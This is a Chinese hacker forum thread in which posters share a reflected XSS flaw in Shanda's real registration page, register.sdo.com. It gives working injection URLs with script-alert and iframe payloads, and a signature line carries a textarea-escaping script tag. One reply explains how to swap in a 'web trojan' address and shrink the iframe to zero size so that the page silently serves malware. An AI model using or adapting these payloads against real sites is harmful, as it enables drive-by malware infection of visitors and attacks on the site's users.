打印

[原创] 盛大,你也有XSS啊!!!找得我好容易啊!!!

盛大,你也有XSS啊!!!找得我好容易啊!!!

它过滤了单引号:
提交测试语句:
http://register.sdo.com/sdo/reg/inputinfo1.asp?from=61&zone=">%3Cscript%3Ealert('"XSS"')%3C/script%3E<"
源文件:
<input type="hidden" id="txtRegisterZone" name="txtRegisterZone" value=""><script>alert("XSS")</script><"">

框架代码:
http://register.sdo.com/sdo/reg/inputinfo1.asp?from=61&zone="><iframe%20src=http://hh312623376.blog.163.com/%20width=900%20height=1200></iframe><"
本帖最近评分记录
  • bk7477890 威望 +8 大家一起跨盛大 2008-9-21 22:03
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

复制内容到剪贴板
代码:
http://register.sdo.com/sdo/reg/inputinfo1.asp?from=61&zone="><iframe%20src=http://bbs.hackerxfiles.net/?fromuid=5348/%20width=900%20height=1200></iframe><"
大家不信的话登陆:http://register.sdo.com
就能看到我的XSS提示框.我没折啊~写入数据库了~我清不掉啊~
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

以后用
复制内容到剪贴板
代码:
~~~~~
的格式发
没有写入到数据库啊

TOP

是不是XSS会留下本地的COOKIE一段时间才失效~不懂~
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]
不懂怎么办???

TOP

努力学习中
<iframe%20src=http://hh312623376.blog.163.com/%20width=900%20height=1200></iframe>
http://hh312623376.blog.163.com 替换成你网马地址.width=900%20height=1200
改为width=0%20height=0
就是框架挂马了
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

没看懂

Processed in 0.030575 second(s), 6 queries, Gzip enabled